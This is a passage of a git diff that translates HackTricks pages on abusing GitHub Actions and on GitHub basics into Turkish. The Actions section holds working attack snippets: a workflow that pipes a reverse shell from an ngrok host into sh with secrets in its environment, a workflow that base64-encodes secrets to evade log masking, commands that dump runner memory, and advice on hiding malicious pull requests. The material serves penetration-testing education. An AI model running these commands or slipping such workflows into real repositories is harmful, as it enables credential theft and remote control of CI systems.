kind of access on the first one (check the previous section). - -### Cache Poisoning - -A cache is maintained between **wokflow runs in the same branch**. Which means that if an attacker **compromise** a **package** that is then stored in the cache and **downloaded** and executed by a **more privileged** workflow he will be able to **compromise** also that workflow. +Bir önbellek, **aynı dalda workflow çalışmaları arasında** korunur. Bu, bir saldırganın **bir paketi tehlikeye atması** durumunda, bu paketin önbellekte saklanacağı ve **daha ayrıcalıklı** bir workflow tarafından **indirilip** çalıştırılacağı anlamına gelir; böylece o workflow'u da **tehlikeye atabilir**. {{#ref}} gh-actions-cache-poisoning.md {{#endref}} -### Artifact Poisoning +### Artifact Zehirleme -Workflows could use **artifacts from other workflows and even repos**, if an attacker manages to **compromise** the Github Action that **uploads an artifact** that is later used by another workflow he could **compromise the other workflows**: +Workflow'lar, **diğer workflow'lardan ve hatta depolardan** **artifact'lar** kullanabilir; eğer bir saldırgan, başka bir workflow tarafından daha sonra kullanılan bir **artifact'ı yükleyen** Github Action'ı **tehlikeye atmayı** başarırsa, o zaman **diğer workflow'ları da tehlikeye atabilir**: {{#ref}} gh-actions-artifact-poisoning.md @@ -394,11 +376,11 @@ gh-actions-artifact-poisoning.md --- -## Post Exploitation from an Action +## Bir İşlemden Sonra Sömürü -### Accessing AWS and GCP via OIDC +### OIDC Üzerinden AWS ve GCP'ye Erişim -Check the following pages: +Aşağıdaki sayfaları kontrol edin: {{#ref}} ../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md @@ -408,170 +390,160 @@ Check the following pages: ../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md {{#endref}} -### Accessing secrets +### Gizli Bilgilere Erişim -If you are injecting content into a script it's interesting to know how you can access secrets: +Eğer bir script'e içerik enjekte ediyorsanız, gizli bilgilere nasıl erişebileceğinizi bilmek ilginçtir: -- If the secret or token is set to an **environment variable**, it can be directly accessed through the environment using **`printenv`**. +- Eğer gizli bilgi veya token bir **çevre değişkenine** ayarlandıysa, **`printenv`** kullanarak çevre üzerinden doğrudan erişilebilir.
-List secrets in Github Action output - +Github Action çıktısında gizli bilgileri listele ```yaml name: list_env on: - workflow_dispatch: # Launch manually - pull_request: #Run it when a PR is created to a branch - branches: - - '**' - push: # Run it when a push is made to a branch - branches: - - '**' +workflow_dispatch: # Launch manually +pull_request: #Run it when a PR is created to a branch +branches: +- '**' +push: # Run it when a push is made to a branch +branches: +- '**' jobs: - List_env: - runs-on: ubuntu-latest - steps: - - name: List Env - # Need to base64 encode or github will change the secret value for "***" - run: sh -c 'env | grep "secret_" | base64 -w0' - env: - secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} +List_env: +runs-on: ubuntu-latest +steps: +- name: List Env +# Need to base64 encode or github will change the secret value for "***" +run: sh -c 'env | grep "secret_" | base64 -w0' +env: +secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} - secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} +secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ``` -
-Get reverse shell with secrets - +Gizli anahtarlarla ters kabuk al ```yaml name: revshell on: - workflow_dispatch: # Launch manually - pull_request: #Run it when a PR is created to a branch - branches: - - "**" - push: # Run it when a push is made to a branch - branches: - - "**" +workflow_dispatch: # Launch manually +pull_request: #Run it when a PR is created to a branch +branches: +- "**" +push: # Run it when a push is made to a branch +branches: +- "**" jobs: - create_pull_request: - runs-on: ubuntu-latest - steps: - - name: Get Rev Shell - run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh' - env: - secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} - secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} +create_pull_request: +runs-on: ubuntu-latest +steps: +- name: Get Rev Shell +run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh' +env: +secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} +secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ``` -
-- If the secret is used **directly in an expression**, the generated shell script is stored **on-disk** and is accessible. - - ```bash - cat /home/runner/work/_temp/* - ``` -- For a JavaScript actions the secrets and sent through environment variables - - ```bash - ps axe | grep node - ``` -- For a **custom action**, the risk can vary depending on how a program is using the secret it obtained from the **argument**: +- Eğer gizli bilgi **bir ifadede doğrudan kullanılıyorsa**, oluşturulan shell scripti **diskte** saklanır ve erişilebilir. +- ```bash +cat /home/runner/work/_temp/* +``` +- JavaScript eylemleri için gizli bilgiler ortam değişkenleri aracılığıyla gönderilir. +- ```bash +ps axe | grep node +``` +- **Özel bir eylem** için, risk, programın **argümandan** elde ettiği gizli bilgiyi nasıl kullandığına bağlı olarak değişebilir: - ```yaml - uses: fakeaction/publish@v3 - with: - key: ${{ secrets.PUBLISH_KEY }} - ``` +```yaml +uses: fakeaction/publish@v3 +with: +key: ${{ secrets.PUBLISH_KEY }} +``` -### Abusing Self-hosted runners +### Kendinden Barındırılan Çalıştırıcıları Kötüye Kullanma -The way to find which **Github Actions are being executed in non-github infrastructure** is to search for **`runs-on: self-hosted`** in the Github Action configuration yaml. +**Github Actions'ın hangi non-github altyapısında çalıştırıldığını** bulmanın yolu, Github Action yapılandırma yaml'ında **`runs-on: self-hosted`** aramaktır. -**Self-hosted** runners might have access to **extra sensitive information**, to other **network systems** (vulnerable endpoints in the network? metadata service?) or, even if it's isolated and destroyed, **more than one action might be run at the same time** and the malicious one could **steal the secrets** of the other one. - -In self-hosted runners it's also possible to obtain the **secrets from the \_Runner.Listener**\_\*\* process\*\* which will contain all the secrets of the workflows at any step by dumping its memory: +**Kendinden barındırılan** çalıştırıcılar, **ekstra hassas bilgilere**, diğer **ağ sistemlerine** (ağda savunmasız uç noktalar mı? meta veri servisi?) erişim sağlayabilir veya, izole edilse ve yok edilse bile, **birden fazla eylem aynı anda çalıştırılabilir** ve kötü niyetli olanı diğerinin **gizli bilgilerini çalabilir**. +Kendinden barındırılan çalıştırıcılarda, herhangi bir adımda iş akışlarının tüm gizli bilgilerini içerecek olan **\_Runner.Listener**\_\*\* sürecinden gizli bilgileri elde etmek de mümkündür; belleğini dökerek: ```bash sudo apt-get install -y gdb sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')" ``` +Check [**bu gönderiye daha fazla bilgi için**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/). -Check [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/). +### Github Docker Görüntüleri Kaydı -### Github Docker Images Registry - -It's possible to make Github actions that will **build and store a Docker image inside Github**.\ -An example can be find in the following expandable: +Github içinde **bir Docker görüntüsü oluşturup depolayacak Github eylemleri** yapmak mümkündür.\ +Aşağıdaki genişletilebilir örnekte bir örnek bulabilirsiniz:
-Github Action Build & Push Docker Image - +Github Eylemi Oluştur & Docker Görüntüsünü Yükle ```yaml [...] - name: Set up Docker Buildx - uses: docker/setup-buildx-action@v1 +uses: docker/setup-buildx-action@v1 - name: Login to GitHub Container Registry - uses: docker/login-action@v1 - with: - registry: ghcr.io - username: ${{ github.repository_owner }} - password: ${{ secrets.ACTIONS_TOKEN }} +uses: docker/login-action@v1 +with: +registry: ghcr.io +username: ${{ github.repository_owner }} +password: ${{ secrets.ACTIONS_TOKEN }} - name: Add Github Token to Dockerfile to be able to download code - run: | - sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile +run: | +sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile - name: Build and push - uses: docker/build-push-action@v2 - with: - context: . - push: true - tags: | - ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest - ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }} +uses: docker/build-push-action@v2 +with: +context: . +push: true +tags: | +ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest +ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }} [...] ``` -
-As you could see in the previous code, the Github registry is hosted in **`ghcr.io`**. - -A user with read permissions over the repo will then be able to download the Docker Image using a personal access token: +Önceki kodda görebileceğiniz gibi, Github kayıt defteri **`ghcr.io`** üzerinde barındırılmaktadır. +Repo üzerinde okuma izinlerine sahip bir kullanıcı, kişisel erişim belirteci kullanarak Docker Görüntüsünü indirebilecektir: ```bash echo $gh_token | docker login ghcr.io -u --password-stdin docker pull ghcr.io//: ``` - -Then, the user could search for **leaked secrets in the Docker image layers:** +Sonra, kullanıcı **Docker imaj katmanlarında sızdırılmış gizli bilgileri** arayabilir: {{#ref}} https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics {{#endref}} -### Sensitive info in Github Actions logs +### Github Actions günlüklerinde hassas bilgiler -Even if **Github** try to **detect secret values** in the actions logs and **avoid showing** them, **other sensitive data** that could have been generated in the execution of the action won't be hidden. For example a JWT signed with a secret value won't be hidden unless it's [specifically configured](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret). +**Github** gizli değerleri **tespit etmeye** ve **göstermemeye** çalışsa da, eylemin yürütülmesi sırasında üretilmiş **diğer hassas veriler** gizli kalmayacaktır. Örneğin, bir gizli değerle imzalanmış bir JWT, [özellikle yapılandırılmadıkça](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret) gizli kalmayacaktır. -## Covering your Tracks +## İzlerinizi Kapatma -(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) First of all, any PR raised is clearly visible to the public in Github and to the target GitHub account. In GitHub by default, we **can’t delete a PR of the internet**, but there is a twist. For Github accounts that are **suspended** by Github, all of their **PRs are automatically deleted** and removed from the internet. So in order to hide your activity you need to either get your **GitHub account suspended or get your account flagged**. This would **hide all your activities** on GitHub from the internet (basically remove all your exploit PR) +([**buradan**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit) teknik) Öncelikle, oluşturulan herhangi bir PR, Github'da ve hedef GitHub hesabında kamuya açık olarak görünür. GitHub'da varsayılan olarak, **internetin PR'sini silemeyiz**, ancak bir twist var. Github tarafından **askıya alınan** GitHub hesapları için, tüm **PR'leri otomatik olarak silinir** ve internetten kaldırılır. Bu nedenle, etkinliğinizi gizlemek için ya **GitHub hesabınızın askıya alınmasını sağlamalı ya da hesabınızın işaretlenmesini** sağlamalısınız. Bu, **tüm etkinliklerinizi** GitHub'dan internetten gizleyecektir (temelde tüm istismar PR'lerinizi kaldırır). -An organization in GitHub is very proactive in reporting accounts to GitHub. All you need to do is share “some stuff” in Issue and they will make sure your account is suspended in 12 hours :p and there you have, made your exploit invisible on github. +GitHub'daki bir organizasyon, hesapları GitHub'a bildirmede çok proaktiftir. Tek yapmanız gereken, Issue'da "biraz şey" paylaşmak ve 12 saat içinde hesabınızın askıya alınmasını sağlamak :p ve işte, istismarınızı GitHub'da görünmez hale getirdiniz. > [!WARNING] -> The only way for an organization to figure out they have been targeted is to check GitHub logs from SIEM since from GitHub UI the PR would be removed. +> Bir organizasyonun hedef alındığını anlamanın tek yolu, GitHub UI'dan PR'nın kaldırılacağı için SIEM'den GitHub günlüklerini kontrol etmektir. -## Tools +## Araçlar -The following tools are useful to find Github Action workflows and even find vulnerable ones: +Aşağıdaki araçlar, Github Action iş akışlarını bulmak ve hatta savunmasız olanları bulmak için faydalıdır: - [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven) - [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato) @@ -579,7 +551,3 @@ The following tools are useful to find Github Action workflows and even find vul - [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md index ae156de2d..59da712ac 100644 --- a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md +++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md @@ -1,6 +1 @@ # Gh Actions - Artifact Poisoning - - - - - diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md index 024aa5ff8..f77c0d2d3 100644 --- a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md +++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md @@ -1,6 +1 @@ # GH Actions - Cache Poisoning - - - - - diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md index 3cd632bd0..9cef507bc 100644 --- a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md +++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md @@ -1,6 +1 @@ # Gh Actions - Context Script Injections - - - - - diff --git a/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md b/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md index f19fa699e..eaba9970d 100644 --- a/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md +++ b/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md @@ -1,60 +1,56 @@ -# Accessible Deleted Data in Github +# Github'da Erişilebilir Silinmiş Veriler {{#include ../../banners/hacktricks-training.md}} -This ways to access data from Github that was supposedly deleted was [**reported in this blog post**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github). +Github'dan silinmiş olduğu iddia edilen verilere erişim yolları [**bu blog yazısında**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github) bildirilmiştir. -## Accessing Deleted Fork Data +## Silinmiş Fork Verilerine Erişim -1. You fork a public repository -2. You commit code to your fork -3. You delete your fork +1. Kamuya açık bir depoyu fork'layın. +2. Fork'unuza kod ekleyin. +3. Fork'unuzu silin. > [!CAUTION] -> The data commited in the deleted fork is still accessible. +> Silinmiş fork'ta yapılan veriler hala erişilebilir. -## Accessing Deleted Repo Data +## Silinmiş Repo Verilerine Erişim -1. You have a public repo on GitHub. -2. A user forks your repo. -3. You commit data after they fork it (and they never sync their fork with your updates). -4. You delete the entire repo. +1. GitHub'da bir kamuya açık repo oluşturun. +2. Bir kullanıcı repo'nuzu fork'lar. +3. Onlar fork'ladıktan sonra veri ekleyin (ve asla fork'larını güncellemelerinizle senkronize etmezler). +4. Tüm repoyu silin. > [!CAUTION] -> Even if you deleted your repo, all the changes made to it are still accessible through the forks. +> Repo'nuzu silseniz bile, ona yapılan tüm değişiklikler fork'lar aracılığıyla hala erişilebilir. -## Accessing Private Repo Data +## Özel Repo Verilerine Erişim -1. You create a private repo that will eventually be made public. -2. You create a private, internal version of that repo (via forking) and commit additional code for features that you’re not going to make public. -3. You make your “upstream” repository public and keep your fork private. +1. Nihayetinde kamuya açık hale getirilecek bir özel repo oluşturun. +2. O repo'nun özel, iç versiyonunu (fork'lama yoluyla) oluşturun ve kamuya açık yapmayacağınız özellikler için ek kod ekleyin. +3. "Upstream" repo'nuzu kamuya açık yapın ve fork'unuzu özel tutun. > [!CAUTION] -> It's possible to access al the data pushed to the internal fork in the time between the internal fork was created and the public version was made public. +> İç fork oluşturulduğu ve kamuya açık versiyon yapıldığı süre zarfında iç fork'a itilen tüm verilere erişmek mümkündür. -## How to discover commits from deleted/hidden forks +## Silinmiş/Gizli Fork'lardan Commit'leri Nasıl Bulunur -The same blog post propose 2 options: +Aynı blog yazısı 2 seçenek öneriyor: -### Directly accessing the commit +### Commit'e Doğrudan Erişim -If the commit ID (sha-1) value is known it's possible to access it in `https://github.com///commit/` +Commit ID (sha-1) değeri biliniyorsa, `https://github.com///commit/` adresinden erişmek mümkündür. -### Brute-forcing short SHA-1 values +### Kısa SHA-1 Değerlerini Brute-Force ile Bulma -It's the same to access both of these: +Her iki erişim yöntemi de aynıdır: - [https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14](https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14) - [https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463](https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463) -And the latest one use a short sha-1 that is bruteforceable. +Ve sonuncusu brute-force ile bulunabilir kısa bir sha-1 kullanır. -## References +## Referanslar - [https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github) {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/github-security/basic-github-information.md b/src/pentesting-ci-cd/github-security/basic-github-information.md index ae1365a0f..69b452972 100644 --- a/src/pentesting-ci-cd/github-security/basic-github-information.md +++ b/src/pentesting-ci-cd/github-security/basic-github-information.md @@ -1,194 +1,188 @@ -# Basic Github Information +# Temel Github Bilgisi {{#include ../../banners/hacktricks-training.md}} -## Basic Structure +## Temel Yapı -The basic github environment structure of a big **company** is to own an **enterprise** which owns **several organizations** and each of them may contain **several repositories** and **several teams.**. Smaller companies may just **own one organization and no enterprises**. +Büyük bir **şirketin** temel github ortam yapısı, **birden fazla organizasyona sahip olan bir **şirket** sahibi olmaktır ve her biri **birkaç depo** ve **birkaç takım** içerebilir. Daha küçük şirketler sadece **bir organizasyona ve hiçbir şirkete sahip olabilirler**. -From a user point of view a **user** can be a **member** of **different enterprises and organizations**. Within them the user may have **different enterprise, organization and repository roles**. +Bir kullanıcı açısından, bir **kullanıcı** **farklı şirketler ve organizasyonlar** üyesi olabilir. Bu organizasyonlar içinde kullanıcı, **farklı şirket, organizasyon ve depo rollerine** sahip olabilir. -Moreover, a user may be **part of different teams** with different enterprise, organization or repository roles. +Ayrıca, bir kullanıcı **farklı takımlarda** farklı şirket, organizasyon veya depo rollerine sahip olabilir. -And finally **repositories may have special protection mechanisms**. +Ve nihayetinde, **depolar özel koruma mekanizmalarına sahip olabilir**. -## Privileges +## Ayrıcalıklar -### Enterprise Roles +### Şirket Rolleri -- **Enterprise owner**: People with this role can **manage administrators, manage organizations within the enterprise, manage enterprise settings, enforce policy across organizations**. However, they **cannot access organization settings or content** unless they are made an organization owner or given direct access to an organization-owned repository -- **Enterprise members**: Members of organizations owned by your enterprise are also **automatically members of the enterprise**. +- **Şirket sahibi**: Bu role sahip kişiler, **yönetici yönetimi, şirket içindeki organizasyonları yönetme, şirket ayarlarını yönetme, organizasyonlar arasında politika uygulama** gibi işlemleri gerçekleştirebilir. Ancak, **organizasyon ayarlarına veya içeriğine erişemezler**; organizasyon sahibi yapılmadıkları veya bir organizasyona ait bir depoya doğrudan erişim verilmediği sürece. +- **Şirket üyeleri**: Şirketinizin sahip olduğu organizasyonların üyeleri de **otomatik olarak şirketin üyeleri**dir. -### Organization Roles +### Organizasyon Rolleri -In an organisation users can have different roles: +Bir organizasyonda kullanıcıların farklı rolleri olabilir: -- **Organization owners**: Organization owners have **complete administrative access to your organization**. This role should be limited, but to no less than two people, in your organization. -- **Organization members**: The **default**, non-administrative role for **people in an organization** is the organization member. By default, organization members **have a number of permissions**. -- **Billing managers**: Billing managers are users who can **manage the billing settings for your organization**, such as payment information. -- **Security Managers**: It's a role that organization owners can assign to any team in an organization. When applied, it gives every member of the team permissions to **manage security alerts and settings across your organization, as well as read permissions for all repositories** in the organization. - - If your organization has a security team, you can use the security manager role to give members of the team the least access they need to the organization. -- **Github App managers**: To allow additional users to **manage GitHub Apps owned by an organization**, an owner can grant them GitHub App manager permissions. -- **Outside collaborators**: An outside collaborator is a person who has **access to one or more organization repositories but is not explicitly a member** of the organization. +- **Organizasyon sahipleri**: Organizasyon sahipleri, **organizasyonunuza tam yönetim erişimine** sahiptir. Bu rol sınırlı olmalı, ancak organizasyonunuzda en az iki kişi olmalıdır. +- **Organizasyon üyeleri**: **Varsayılan**, yönetici olmayan rol **organizasyon** içindeki kişiler için organizasyon üyesidir. Varsayılan olarak, organizasyon üyeleri **bir dizi izne** sahiptir. +- **Faturalama yöneticileri**: Faturalama yöneticileri, **organizasyonunuzun faturalama ayarlarını yönetebilen** kullanıcılardır; örneğin, ödeme bilgileri. +- **Güvenlik Yöneticileri**: Organizasyon sahiplerinin herhangi bir takıma atayabileceği bir roldür. Uygulandığında, takımın her üyesine **organizasyon genelinde güvenlik uyarılarını ve ayarlarını yönetme izinleri ile organizasyondaki tüm depolar için okuma izinleri** verir. +- Eğer organizasyonunuzun bir güvenlik takımı varsa, güvenlik yöneticisi rolünü kullanarak takım üyelerine organizasyona ihtiyaç duydukları en az erişimi verebilirsiniz. +- **Github Uygulama yöneticileri**: Bir organizasyona ait GitHub Uygulamalarını **yönetmek için ek kullanıcılara izin vermek** amacıyla, bir sahibi onlara GitHub Uygulama yöneticisi izinleri verebilir. +- **Dış işbirlikçileri**: Dış işbirlikçisi, **bir veya daha fazla organizasyon deposuna erişimi olan ancak organizasyonun açıkça bir üyesi olmayan** kişidir. -You can **compare the permissions** of these roles in this table: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles) +Bu rollerin izinlerini bu tabloda **karşılaştırabilirsiniz**: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles) -### Members Privileges +### Üye Ayrıcalıkları -In _https://github.com/organizations/\/settings/member_privileges_ you can see the **permissions users will have just for being part of the organisation**. +_https://github.com/organizations/\/settings/member_privileges_ adresinde, **organizasyonun bir parçası olmanın getirdiği izinleri** görebilirsiniz. -The settings here configured will indicate the following permissions of members of the organisation: +Burada yapılandırılan ayarlar, organizasyon üyelerinin aşağıdaki izinlerini gösterecektir: -- Be admin, writer, reader or no permission over all the organisation repos. -- If members can create private, internal or public repositories. -- If forking of repositories is possible -- If it's possible to invite outside collaborators -- If public or private sites can be published -- The permissions admins has over the repositories -- If members can create new teams +- Tüm organizasyon depoları üzerinde yönetici, yazar, okuyucu veya hiçbir izin olma durumu. +- Üyelerin özel, dahili veya genel depolar oluşturup oluşturamayacakları. +- Depoların çatallanmasının mümkün olup olmadığı. +- Dış işbirlikçilerini davet etmenin mümkün olup olmadığı. +- Genel veya özel sitelerin yayınlanıp yayınlanamayacağı. +- Yöneticilerin depolar üzerindeki izinleri. +- Üyelerin yeni takımlar oluşturup oluşturamayacakları. -### Repository Roles +### Depo Rolleri -By default repository roles are created: +Varsayılan olarak depo rolleri oluşturulur: -- **Read**: Recommended for **non-code contributors** who want to view or discuss your project -- **Triage**: Recommended for **contributors who need to proactively manage issues and pull requests** without write access -- **Write**: Recommended for contributors who **actively push to your project** -- **Maintain**: Recommended for **project managers who need to manage the repository** without access to sensitive or destructive actions -- **Admin**: Recommended for people who need **full access to the project**, including sensitive and destructive actions like managing security or deleting a repository +- **Okuma**: Projenizi görüntülemek veya tartışmak isteyen **kod katkıda bulunmayanlar** için önerilir. +- **Triage**: Yazma erişimi olmadan **sorunları ve çekme isteklerini proaktif bir şekilde yönetmesi gereken katkıda bulunanlar** için önerilir. +- **Yazma**: Projenize **aktif olarak katkıda bulunanlar** için önerilir. +- **Sürdürme**: Hassas veya yıkıcı eylemlere erişim olmadan **depoları yönetmesi gereken proje yöneticileri** için önerilir. +- **Yönetici**: **Proje üzerinde tam erişime** ihtiyaç duyan kişiler için önerilir; bu, güvenliği yönetmek veya bir depoyu silmek gibi hassas ve yıkıcı eylemleri içerir. -You can **compare the permissions** of each role in this table [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role) +Her rolün izinlerini bu tabloda **karşılaştırabilirsiniz**: [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role) -You can also **create your own roles** in _https://github.com/organizations/\/settings/roles_ +Ayrıca _https://github.com/organizations/\/settings/roles_ adresinde **kendi rollerinizi oluşturabilirsiniz**. -### Teams +### Takımlar -You can **list the teams created in an organization** in _https://github.com/orgs/\/teams_. Note that to see the teams which are children of other teams you need to access each parent team. +Bir organizasyonda oluşturulan **takımları listeleyebilirsiniz** _https://github.com/orgs/\/teams_ adresinde. Diğer takımların alt takımlarını görmek için her bir ana takıma erişmeniz gerektiğini unutmayın. -### Users +### Kullanıcılar -The users of an organization can be **listed** in _https://github.com/orgs/\/people._ +Bir organizasyonun kullanıcıları _https://github.com/orgs/\/people_ adresinde **listelenebilir**. -In the information of each user you can see the **teams the user is member of**, and the **repos the user has access to**. +Her kullanıcının bilgileri içinde, **kullanıcının üyesi olduğu takımlar** ve **kullanıcının erişim sağladığı depolar** görülebilir. -## Github Authentication +## Github Kimlik Doğrulaması -Github offers different ways to authenticate to your account and perform actions on your behalf. +Github, hesabınıza kimlik doğrulamak ve sizin adınıza işlemler gerçekleştirmek için farklı yollar sunar. -### Web Access +### Web Erişimi -Accessing **github.com** you can login using your **username and password** (and a **2FA potentially**). +**github.com** adresine erişerek **kullanıcı adınız ve şifreniz** (ve potansiyel olarak bir **2FA**) ile giriş yapabilirsiniz. -### **SSH Keys** +### **SSH Anahtarları** -You can configure your account with one or several public keys allowing the related **private key to perform actions on your behalf.** [https://github.com/settings/keys](https://github.com/settings/keys) +Hesabınızı, ilgili **özel anahtarın sizin adınıza işlem yapmasına izin veren bir veya birkaç genel anahtar ile yapılandırabilirsiniz.** [https://github.com/settings/keys](https://github.com/settings/keys) -#### **GPG Keys** +#### **GPG Anahtarları** -You **cannot impersonate the user with these keys** but if you don't use it it might be possible that you **get discover for sending commits without a signature**. Learn more about [vigilant mode here](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode). +Bu anahtarlarla kullanıcıyı taklit edemezsiniz, ancak kullanmıyorsanız, **imzasız gönderim yaparken keşfedilme olasılığınız** olabilir. Daha fazla bilgi için [dikkatli mod hakkında buradan öğrenin](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode). -### **Personal Access Tokens** +### **Kişisel Erişim Jetonları** -You can generate personal access token to **give an application access to your account**. When creating a personal access token the **user** needs to **specify** the **permissions** to **token** will have. [https://github.com/settings/tokens](https://github.com/settings/tokens) +Bir uygulamanın hesabınıza erişim sağlaması için kişisel erişim jetonu oluşturabilirsiniz. Kişisel erişim jetonu oluştururken, **kullanıcı** **jetonun** sahip olacağı **izinleri** **belirtmelidir**. [https://github.com/settings/tokens](https://github.com/settings/tokens) -### Oauth Applications +### Oauth Uygulamaları -Oauth applications may ask you for permissions **to access part of your github information or to impersonate you** to perform some actions. A common example of this functionality is the **login with github button** you might find in some platforms. +Oauth uygulamaları, **github bilginizin bir kısmına erişim izni veya sizi taklit etme** izni isteyebilir. Bu işlevselliğin yaygın bir örneği, bazı platformlarda bulabileceğiniz **github ile giriş yap** butonudur. -- You can **create** your own **Oauth applications** in [https://github.com/settings/developers](https://github.com/settings/developers) -- You can see all the **Oauth applications that has access to your account** in [https://github.com/settings/applications](https://github.com/settings/applications) -- You can see the **scopes that Oauth Apps can ask for** in [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps) -- You can see third party access of applications in an **organization** in _https://github.com/organizations/\/settings/oauth_application_policy_ +- Kendi **Oauth uygulamalarınızı** [https://github.com/settings/developers](https://github.com/settings/developers) adresinde **oluşturabilirsiniz**. +- Hesabınıza erişimi olan tüm **Oauth uygulamalarını** [https://github.com/settings/applications](https://github.com/settings/applications) adresinde görebilirsiniz. +- Oauth Uygulamaların isteyebileceği **kapsamları** [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps) adresinde görebilirsiniz. +- Bir **organizasyondaki** uygulamaların üçüncü taraf erişimini _https://github.com/organizations/\/settings/oauth_application_policy_ adresinde görebilirsiniz. -Some **security recommendations**: +Bazı **güvenlik önerileri**: -- An **OAuth App** should always **act as the authenticated GitHub user across all of GitHub** (for example, when providing user notifications) and with access only to the specified scopes.. -- An OAuth App can be used as an identity provider by enabling a "Login with GitHub" for the authenticated user. -- **Don't** build an **OAuth App** if you want your application to act on a **single repository**. With the `repo` OAuth scope, OAuth Apps can **act on \_all**\_\*\* of the authenticated user's repositorie\*\*s. -- **Don't** build an OAuth App to act as an application for your **team or company**. OAuth Apps authenticate as a **single user**, so if one person creates an OAuth App for a company to use, and then they leave the company, no one else will have access to it. -- **More** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps). +- Bir **OAuth Uygulaması**, her zaman **tüm GitHub üzerinde kimlik doğrulaması yapılmış GitHub kullanıcısı olarak hareket etmelidir** (örneğin, 